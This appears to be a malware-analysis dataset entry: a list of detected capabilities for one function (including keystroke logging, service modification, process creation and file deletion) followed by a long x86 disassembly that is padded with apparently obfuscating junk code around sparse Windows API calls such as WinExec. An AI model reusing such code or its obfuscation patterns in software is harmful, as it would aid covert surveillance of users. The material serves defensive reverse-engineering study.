Function at 0x1002a110
Capabilities:
Check os version
Compare security identifiers
Create directory
Create process on windows
Delete directory
Delete file
Get common file path
Get disk information
Get graphical window text
Get keyboard layout
Get system information on windows
Identify system language via api
Log keystrokes
Modify service
Query service status
Start service

Disassembly:
mov eax, 0x10079019
call fcn.100789c8
mov eax, 0x1218
call fcn.100620c0
push ebx
mov dword [ebp - 0x20], 0xcea5d6c0
xor eax, eax
mov dword [ebp - 0x3c], 0xa4c8
xor ebx, ebx
mov dword [ebp - 0x44], 0xfffffff8
inc ebx
push esi
mov dword [ebp - 0x48], 0x66ef3b06
push edi
mov dword [ebp - 0x44], eax
push 2
pop edi
mov dword [ebp - 0x774], edi
mov dword [ebp - 0x770], edi
mov dword [ebp - 0x76c], edi
mov dword [ebp - 0x768], edi
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x6d], dl
mov dword [ebp - 0x6c], ecx
cmp dword [ebp - 0x24], ebx
jge 0x1002a193
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xc0], 0xdd03
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002a17b
xor eax, eax
mov dword [ebp - 0x24], eax
push 0xffffffffffffffff
pop ecx
cmp dword [ebp - 0x24], edi
jge 0x1002a1b2
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x73c], ecx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002a19e
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002a1ca
mov dword [ebp - 0x38], 0x4c8d3c89
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jg 0x1002a1b7
mov eax, dword [ebp - 0xc0]
cmp eax, dword [ebp - 0x20]
jne 0x1002a214
inc dword [ebp - 0x73c]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
cmp eax, 0x3ba6
setg cl
cmp ecx, 7
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0xc0]
jge 0x1002a214
mov ecx, ebx
jmp 0x1002a218
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
imul eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x768]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002a244
mov eax, dword [ebp - 0x774]
mov eax, dword [ebp - 0xc0]
xor eax, eax
mov dword [ebp - 0x38], 0xf620a341
push 3
mov dword [ebp - 0x10], eax
pop esi
cmp dword [ebp - 0x10], esi
jge 0x1002a276
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4b8], 0xad313dd3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a25e
xor eax, eax
mov dword [ebp - 0x4b4], 0xb
jmp 0x1002a2f7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002a2a2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x348], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002a28a
xor eax, eax
mov dword [ebp - 0x348], eax
jmp 0x1002a2e8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a2d0
push eax
push 0x19aa
push 0x1ddb
push 0xed9
push 0xd39
call dword [sym.imp.GDI32.dll_CreateBitmap]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a2e2
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
inc dword [ebp - 0x348]
cmp dword [ebp - 0x348], 6
jg 0x1002a2aa
inc dword [ebp - 0x4b4]
cmp dword [ebp - 0x4b4], 0x1d
jl 0x1002a282
mov dword [ebp - 0x24], 0x91a049fe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], esi
jge 0x1002a323
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xcec], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x1002a30f
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edi
jge 0x1002a343
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x30c], 0x2c70bb74
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1002a32b
xor eax, eax
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], edi
jg 0x1002a389
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a36b
push 0x15e3
push 0x1445
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
mov eax, dword [ebp - 0x308]
push 0
mov eax, dword [ebp + eax*4 - 0xcec]
inc dword [ebp - 0x308]
pop eax
cmp dword [ebp - 0x308], edi
jle 0x1002a351
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a3a1
push eax
push 0x221d
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002a3c1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xd88], 0xe785c2f4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a3a9
xor eax, eax
mov dword [ebp - 0x24], eax
jmp 0x1002a534
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x48], 0xf86f25db
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edi
jge 0x1002a3f7
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x210], 0x124f84b8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002a3df
xor eax, eax
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002a531
mov dword [ebp - 0x14], 0x8f3c34ee
mov dword [ebp - 0x10], 0x169ff4ca
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], eax
jl 0x1002a51f
mov dword [ebp - 0x1c], 0xb055cc25
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], eax
jl 0x1002a4dd
jmp 0x1002a434
xor eax, eax
mov dword [ebp - 0x44], 0x1ef9953e
cmp dword [ebp - 0x1c], eax
je 0x1002a471
mov ecx, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x24]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setne dl
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
mov dword [ebp - 0x48], ecx
cmp dword [ebp - 0x48], eax
je 0x1002a468
cmp dword [ebp - 0x20], eax
je 0x1002a468
mov eax, ebx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
push 1
mov ecx, dword [ebp + eax*4 - 0x210]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setg dl
xor ebx, ebx
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + eax*4 - 0x210]
add ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp ecx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x14]
setg bl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x14]
setne dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setl cl
xor edx, edx
cmp ebx, ecx
pop ebx
setl dl
sub edx, dword [ebp + eax*4 - 0x210]
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x210], edx
dec dword [ebp - 0x1c]
jns 0x1002a432
mov eax, dword [ebp - 0x20c]
mov eax, dword [ebp - 0x48]
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20c]
mov eax, dword [ebp - 0x14]
push 0
mov ecx, dword [ebp + eax*4 - 0x210]
imul ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x210]
sub eax, ecx
mov dword [ebp - 0xd84], eax
dec dword [ebp - 0x14]
pop eax
jns 0x1002a41d
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
dec dword [ebp - 0x20]
push 0
pop eax
jns 0x1002a403
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xfffffff6
jle 0x1002a3c9
mov dword [ebp - 0x14], 0xf341
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jge 0x1002a565
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1040], 0x4e2db58e
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jl 0x1002a54d
xor eax, eax
dec dword [ebp - 0x14]
mov edi, dword [sym.imp.USER32.dll_GetDC]
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0x14], eax
jmp 0x1002a5a1
mov dword [ebp - 0x38], 0xf889
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a597
call esi
push eax
call edi
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
xor eax, eax
mov dword [ebp - 0x38], 9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x12
je 0x1002a579
mov dword [ebp - 0x1c], 0x825e7a66
mov dword [ebp - 0x44], 0xfffffffe
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002a5d5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x358], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002a5bd
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xffffffec
jg 0x1002a637
or eax, 0xffffffff
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], 0x54e7f13b
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x358], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x358]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffec
jle 0x1002a5de
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a64a
push eax
push eax
call dword [sym.imp.USER32.dll_UnregisterClassA]
xor eax, eax
mov dword [ebp - 0x14], 0x91a049fe
or edx, 0xffffffff
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x14], eax
push 2
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x10], eax
pop ecx
jmp 0x1002a675
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1e0], edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002a668
cmp dword [ebp - 0x1c], 0xb274bf90
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0xbf0b
setg cl
imul eax, ecx, 0x85c
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x24]
xor eax, eax
cmp dword [ebp - 0x24], eax
jne 0x1002a6aa
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
push 2
setl dl
mov dword [ebp - 0x1e0], edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1e0]
mov dword [ebp - 0x24], eax
xor eax, eax
pop ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], eax
push 3
pop edx
cmp dword [ebp - 0x24], ecx
jge 0x1002a6fc
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x56c], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002a6e8
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
jge 0x1002a71e
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf28], 0xea885c82
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x1002a705
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ebx
jg 0x1002a802
mov dword [ebp - 0x30], 0xfffffff6
mov dword [ebp - 0x30], 0xbc6a687e
mov dword [ebp - 0x30], 0x2b9cbadb
mov dword [ebp - 0x10], eax
jmp 0x1002a755
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xbb8], 0x435c5265
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002a744
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1e0], ecx
mov eax, dword [ebp - 0xbb0]
dec dword [ebp - 0xbb0]
xor eax, eax
cmp dword [ebp - 0x568], eax
jne 0x1002a7af
cmp dword [ebp - 0x1e0], eax
je 0x1002a793
mov eax, dword [ebp - 0x56c]
mov eax, dword [ebp - 0x1dc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x1c]
push 8
pop ecx
mov dword [ebp + eax*4 - 0x1e0], ecx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x1e0]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0xf24]
je 0x1002a7cf
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002a7d1
mov eax, ebx
jmp 0x1002a7d1
xor eax, eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x568]
neg eax
push 0
sbb eax, eax
neg eax
imul ecx, eax
pop eax
neg ecx
sbb ecx, ecx
neg ecx
inc ecx
mov dword [ebp - 0x38], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jle 0x1002a72a
push 2
pop ecx
mov dword [ebp - 0x20], 0xcea5d6c0
mov dword [ebp - 0x3c], 0xa4c8
mov dword [ebp - 0x44], 0xfffffff8
mov dword [ebp - 0x48], 0x66ef3b06
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x78c], ecx
mov dword [ebp - 0x788], ecx
mov dword [ebp - 0x784], ecx
mov dword [ebp - 0x780], ecx
mov dword [ebp - 0x38], 0xfffffffe
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002a860
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xf0], 0xdd03
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002a848
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002a880
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x74c], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002a868
xor eax, eax
mov dword [ebp - 0x20], eax
jmp 0x1002a898
mov dword [ebp - 0x38], 0x4c8d3c89
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x38], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jg 0x1002a885
mov eax, dword [ebp - 0xf0]
cmp eax, dword [ebp - 0x20]
jne 0x1002a8e2
inc dword [ebp - 0x74c]
xor ecx, ecx
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x20]
cmp eax, 0x3ba6
setg cl
cmp ecx, 7
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
dec eax
neg eax
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0xf0]
jge 0x1002a8e2
mov ecx, ebx
jmp 0x1002a8e6
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x20]
imul eax, ecx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x780]
imul eax, dword [ebp - 0x44]
test eax, eax
je 0x1002a912
mov eax, dword [ebp - 0x78c]
mov eax, dword [ebp - 0xf0]
xor eax, eax
mov dword [ebp - 0x38], 0xf620a341
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002a941
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4cc], 0xad313dd3
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002a929
xor eax, eax
mov dword [ebp - 0x4c8], 0xb
cmp dword [ebp - 0x4c8], 0x1d
jge 0x1002a9ea
push 2
pop ecx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002a97b
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x350], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002a963
xor eax, eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 6
jle 0x1002a9d4
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a9b0
push eax
push 0x19aa
push 0x1ddb
push 0xed9
push 0xd39
call dword [sym.imp.GDI32.dll_CreateBitmap]
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002a9c2
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor eax, eax
inc dword [ebp - 0x350]
cmp dword [ebp - 0x350], 6
jg 0x1002a98a
push 2
pop ecx
inc dword [ebp - 0x4c8]
cmp dword [ebp - 0x4c8], 0x1d
jl 0x1002a95b
push 3
pop edx
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002aa0a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xe00], 0xe785c2f4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002a9f2
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], edx
jge 0x1002aa26
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xde8], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1002aa12
xor eax, eax
push 2
mov dword [ebp - 0x24], eax
pop edx
cmp dword [ebp - 0x24], edx
jge 0x1002aa49
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x2fc], 0x2c70bb74
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x1002aa31
xor eax, eax
mov dword [ebp - 0x2f8], eax
cmp dword [ebp - 0x2f8], edx
jg 0x1002aa92
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002aa74
push 0x15e3
push 0x1445
push eax
call dword [sym.imp.USER32.dll_OffsetRect]
push 2
pop edx
mov eax, dword [ebp - 0x2f8]
push 0
mov eax, dword [ebp + eax*4 - 0xde8]
inc dword [ebp - 0x2f8]
pop eax
cmp dword [ebp - 0x2f8], edx
jle 0x1002aa57
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002aaad
push eax
push 0x221d
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0xfffffff6
jg 0x1002ba98
jmp 0x1002aabf
push 2
pop edx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x432a2768
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x5010f7a7
mov dword [ebp - 0x30], 0x8bd4dfbd
mov dword [ebp - 0x30], 0x2443
mov dword [ebp - 0x44], 0x282d564c
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x1002ab0e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10a0], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002aaf6
xor eax, eax
inc dword [ebp - 0x44]
mov dword [ebp - 0x20], 0x667a876e
mov dword [ebp - 0x48], 0x91e66c61
mov dword [ebp - 0x984], eax
mov dword [ebp - 0x980], eax
mov dword [ebp - 0x97c], eax
mov dword [ebp - 0x978], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002ab5a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x75c], 0xdf99ff60
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002ab42
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], ebx
jg 0x1002ac0d
mov dword [ebp - 0x24], 0xeb7161ab
xor edx, edx
mov dword [ebp - 0x44], 0xdc164f94
mov dword [ebp - 0x38], 0xebdb
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x48], 0xffff0e0f
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x758]
cmp eax, ebx
mov eax, dword [ebp - 0x24]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x24]
setl cl
xor ebx, ebx
cmp ecx, eax
setl bl
xor edx, edx
imul ebx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x24]
cmp ebx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ebx, ebx
add ecx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setne bl
sub eax, 0x507e
neg eax
sbb eax, eax
xor edx, edx
inc eax
cmp eax, ebx
mov eax, dword [ebp - 0x75c]
setge dl
xor ecx, ecx
cmp edx, eax
setle cl
xor ebx, ebx
mov dword [ebp - 0x980], ecx
inc ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1002ab66
xor eax, eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x1c], 0xfffffffb
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x44], 0x2623ee1e
mov dword [ebp - 0x9a4], eax
mov dword [ebp - 0x9a0], eax
mov dword [ebp - 0x99c], eax
mov dword [ebp - 0x998], eax
mov dword [ebp - 0x38], 0x74dcce65
mov dword [ebp - 0x30], 0x6842
mov dword [ebp - 0x1c], 0x11
jmp 0x1002aca6
mov dword [ebp - 0x10], 9
mov dword [ebp - 0x38], 0x3e31551d
mov dword [ebp - 0x10], 0x12
cmp dword [ebp - 0x10], 0xc
jl 0x1002aca3
mov dword [ebp - 0x38], 0x4ebb0cb8
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ac91
push 0x1463
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xc
push 0
pop eax
jge 0x1002ac75
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xffffffea
je 0x1002ac5a
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
xor eax, eax
cmp dword [ebp - 0x1c], eax
je 0x1002acbf
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x1002acce
cmp dword [ebp - 0x1c], eax
je 0x1002acd0
mov eax, ebx
xor edx, edx
cmp eax, 0xe717
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp - 0x34]
imul eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jne 0x1002acf6
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x44], ebx
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp eax, edx
push 3
setle cl
xor edx, edx
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
pop ecx
setl dl
xor eax, eax
mov dword [ebp - 0x99c], edx
cmp edx, 0x43b5
setle al
imul eax, dword [ebp - 0x48]
mov dword [ebp - 0x38], eax
xor eax, eax
mov dword [ebp - 0x4c], 0xf86f25db
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x432a2768
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 0x5010f7a7
mov dword [ebp - 0x30], 0x8bd4dfbd
mov dword [ebp - 0x30], 0x2443
mov dword [ebp - 0x44], 0x282d564c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002ad99
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x10b8], 0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002ad81
xor eax, eax
inc dword [ebp - 0x44]
or edx, 0xffffffff
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002adc5
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfec], 4
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002adad
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 5
jl 0x1002ae24
mov dword [ebp - 0x30], 0xfd4914d2
mov dword [ebp - 0x30], 0xb7cefa9d
mov dword [ebp - 0x30], 0xf38c0887
mov dword [ebp - 0x30], 0x9a695768
mov dword [ebp - 0x68], edx
mov dword [ebp - 0x64], edx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x44], edx
dec dword [ebp - 0x44]
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002ae18
push eax
push eax
push 0x50b
push eax
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
xor eax, eax
or edx, 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 5
jge 0x1002adce
push 3
pop ecx
push 2
mov dword [ebp - 0x10], eax
pop edx
cmp dword [ebp - 0x10], edx
jge 0x1002ae47
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x240], 0x124f84b8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002ae2f
xor eax, eax
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ecx
jge 0x1002ae6a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x1148], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x1002ae56
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jge 0x1002ae8a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa4c], 0xffffffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ebx
jl 0x1002ae72
xor eax, eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xffffffe3
jg 0x1002aee6
mov dword [ebp - 0x10], 0xfffffffb
mov dword [ebp - 0x10], eax
jmp 0x1002aeb9
cmp byte [ebp - 0x15], 0
je 0x1002aeb6
push 0x177c
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
push 2
xor eax, eax
pop edx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
mov byte [ebp - 0x15], al
jle 0x1002ae9f
cmp byte [ebp - 0x15], 0
je 0x1002aeda
push 0x26c4
call esi
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 2
xor eax, eax
pop edx
dec dword [ebp - 0x40]
cmp dword [ebp - 0x40], 0xffffffe3
jle 0x1002ae93
push 3
pop ecx
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], eax
jl 0x1002ba88
jmp 0x1002aefa
push 3
pop ecx
push 2
pop edx
mov dword [ebp - 0x1c], 0xfffffffd
